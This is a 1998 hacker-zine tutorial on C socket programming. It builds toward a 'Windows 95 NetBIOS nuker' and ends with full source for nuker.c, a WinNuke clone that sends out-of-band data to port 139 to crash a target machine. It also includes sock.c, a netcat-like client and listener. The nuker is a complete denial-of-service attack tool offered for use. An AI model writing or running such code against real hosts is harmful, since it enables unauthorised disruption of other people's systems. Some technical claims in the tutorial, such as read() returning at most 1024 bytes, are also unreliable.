More Socket Programming for Fun and Profit

by Darknite

I've gotten quite a lot of replies which all stated how pleased they where with my first article, really nice to hear.  And I've noticed some bugs(?) in the previous article, for example in the getip.c you should do unsigned printing, (just change the %i to %u).  This will fix the problem some people have had with the negative values.  And then I've also received mail about compiling the socket stuff under SunOS.  You'll have to link the "socket" library with the -lsocket argument to GCC.

SunOS Example: gcc getip.c -o getip -lsocket
Linux Example: gcc getip.c -o getip

Introduction

After finishing this article we should have a simple Windows 95 NetBIOS nuker.  (Yes, I know this is an old bug, but it's great to use for my purposes.)  This article assumes some basic C programming skills from the reader along with some basic knowledge and understanding of the TCP/IP protocol.

It also assumes that you have read the previous article "Socket Programming for Fun and Profit" in the same series, available in the Autumn 1998 issue.

Reading/Writing

Now we can open and close sockets, so?  What we really would want to do is to read from, or write to our socket.  Everyone remembers that nice little program called WinNuke (winuke.zip), right?  All WinNuke does is to establish a socket-connection to port 139 on target host and then send a string to that port (via the socket).  Let's start with taking a look on read(2).

Definition found in <unistd.h> and looks like this:

ssize_t read(int fd, void *buf, size_t count);

It returns number of bytes read upon success and "-1" upon failure.  To use this function all we do is read(S, buf, BUF_LEN); with the buf variable being a char[BUF_LEN].

The maximum characters a read(2) will return is 1024, even if there is more than 1024 characters to read.

To bypass this problem, we need to do a simple loop.  See example below:

#define BUF_LEN 1024            // so that it will be easy to change
char text[BUF_LEN];             // destination char pointer
int siz;                        // variable used to see how much we read
                                       //
memset(text, 0, BUF_LEN);       // clear the text array
siz = read(S, text, BUF_LEN);   // read from socket S
while (siz == BUF_LEN) {        // if siz==BUF_LEN there is more to read
  printf("%s", text);
  fflush(stdout);               // print what we got
  memset(text, 0, BUF_LEN);     // clear again
  siz = read(S, text, BUF_LEN); // read next chunk of data
}                               // end of loop

You should be able to figure it out for yourself if you don't understand my description above.

What that piece of code does is reading data from the socket S until there is no more data left to read.

I was like supposed to write this nice example for reading from a port when I realized that you usually don't have any use for just reading.  So I hope you understand the above example, and I'll just tell you how to write some data to a socket instead.

For writing data we could use the function write(2) also found in <unistd.h> and looks merely identical with read(2).  Definition:

ssize_t write(int fd, void *buf, size_t count);

Upon success it returns number of bytes written and upon failure it returns "-1".  This function is no problem using, so you should be able to write your own programs now.

But let me introduce another way of sending data thru sockets.  Instead of using the write(2) function call, let's use the send(2).  (Definition found in <sys/types.h> and <sys/socket.h>, important that you include both.)

int send(int s, const void *msg, int len, unsigned int flags);

Upon success it returns the number of character sent, and upon failure, "-1".

To send a little string with send(2) you would write something like this:

char *msg = "hello world!\n";
send(socket, msg, strlen(msg), 0);

Simple eh?  Let's take a look at the flags argument.  I just set it to "0" because I didn't want any extra options, but since our goal this time is to code a WinNuke clone, we actually need to specify a flag.

The reason for this, is that NetBIOS doesn't allow any data in from your connection normally.  But if we send the data as high-priority, also known as "Out of Band", the flaw will be revealed because it will accept the data.  So let's just specify the flag MSG_OOB in our little program.  I have as usual included complete source code.

Summary and Closing Words

Okay, now my work here is done.  I've introduced all the necessary functions you need to get started with some TCP/IP programming.

Included with this article is a program named sock.c, which is a mini-clone of Netcat and a great utility for both admins and lusers.

In this program, a new function called select(2) will be introduced.  I won't give any description here, but it's basically used for checking if there is any new data coming in.  The program is actually written by a friend of mine just after he read my article.  ;)

I can be reached at darknite@brigade.dhs.org or on IRCNet, #hack.

Please stop by brigade.dhs.org/darknite for some other stuff made by me.  (Where you also can download my previous and this article in plain ASCII.)  Good luck with your programming.

Best regards: Darknite, 1998.

// nuker.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>

// the message below should be replaced with your favourite quote.
#define MESSAGE "per aspera ad astra."
void main(int argc, char **argv)
{
  int s;
  struct hostent *host;
  struct sockaddr_in victim;
  printf("Netbios Nuker - By darknite[@brigade.dhs.org]\n");
  printf("For his socket-programming article, 1998\n");
  if (argc < 2) {
    printf("Usage: %s <hostname>\n", argv[0]);
    exit(-1);
  }
  host = gethostbyname(argv[1]);
  if (!host) {
    herror(argv[1]);
    exit(-1);
  }
  victim.sin_family = AF_INET;
  victim.sin_addr.s_addr = *(long *) (host->h_addr);
  victim.sin_port = htons(139);
  s = socket(AF_INET, SOCK_STREAM, 0);
  if (s < 0) {
    printf("Error creating socket.\n");
    exit(-1);
  }
  if (!connect(s, (struct sockaddr *) &victim, sizeof(victim))) {
    send(s, MESSAGE, strlen(MESSAGE), MSG_OOB);
    printf("Nuke sent. Target should be dead.\n");
  } else
    printf("Couldn't connect to %s port 139.\n", argv[1]);
  if (close(s)) {
    printf("Error closing socket.\n");
    exit(-1);
  }
}

/* Sock v0.3
 * By Spockie / Brigade (spockie@brigade.dhs.org)
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
  int sock, port, mode, nread, buf_len = 1024, sin_s;
  struct hostent *host;
  struct sockaddr_in remote;
  unsigned char string[buf_len];

  fd_set fdset;
  memset(string, 0, buf_len);
  FD_ZERO(&fdset);

  fprintf(stderr, "Sock v0.3 by spockie@brigade.dhs.org\n");

  if (argc != 3) {
    fprintf(stderr, "Usage: %s hostname|-l port\n", argv[0]);
    exit(1);
  }

  if (argv[2])
    port = atoi(argv[2]);

  if ((strcmp(argv[1], "-l")) == 0)
    mode = 1;
  else
    mode = 0;

  if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
    perror("socket");
    exit(1);
  }

  if (mode == 0) {
    if ((host = gethostbyname(argv[1])) == NULL) {
      herror("gethostbyname");
      exit(1);
    }

    remote.sin_family = AF_INET;
    remote.sin_addr.s_addr = *(long *) (host->h_addr);
    remote.sin_port = htons(port);

    if ((connect(sock, (struct sockaddr *) &remote, sizeof(remote))) < 0) {
      perror("connect");
      exit(1);
    }
    fprintf(stderr, "Connected to %s.\n", inet_ntoa(remote.sin_addr));
  }

  if (mode == 1) {
    struct sockaddr_in local;
    local.sin_family = AF_INET;
    local.sin_addr.s_addr = INADDR_ANY;
    local.sin_port = htons(port);

    if (bind(sock, (struct sockaddr *) &local, sizeof(struct sockaddr)) == -1) {
      perror("bind");
      exit(1);
    }

    if (listen(sock, 1) == -1) {
      perror("listen");
      exit(1);
    }
    sin_s = sizeof(struct sockaddr_in);
    fprintf(stderr, "Waiting for connection..\n");

    if ((sock = accept(sock, (struct sockaddr *) &remote, &sin_s)) == -1)
      perror("accept");

    fprintf(stderr, "Connection from %s\n", inet_ntoa(remote.sin_addr));
  }

  for (;;) {
    FD_SET(sock, &fdset);
    FD_SET(0, &fdset);

    if (select(sock + 1, &fdset, NULL, NULL, NULL) < 0) {
      fprintf(stderr, "Selective error!\n");
      exit(1);
    }

    if (FD_ISSET(0, &fdset)) {
      if ((nread = read(0, string, buf_len)) < 0) {
        fprintf(stderr, "Stdin read error\n");
        break;
      } else if (nread == 0) {
        fprintf(stderr, "Connection closed.\n");
        break;
      }

      send(sock, string, strlen(string), 0);
      memset(string, 0, buf_len);
    }

    if (FD_ISSET(sock, &fdset)) {
      if ((nread = recv(sock, string, buf_len, 0)) < 0) {
        fprintf(stderr, "Network read error\n");
        break;
      } else if (nread == 0) {
        fprintf(stderr, "Connection closed by foreign host.\n");
        break;
      }

      printf("%s", string);
      memset(string, 0, buf_len);
    }
  }

  if ((close(sock)) < 0) {
    perror("close");
    exit(1);
  }

  fprintf(stderr, "Program finished.\n");
}

Code: nuker.c

Code: sock.c

Return to $2600 Index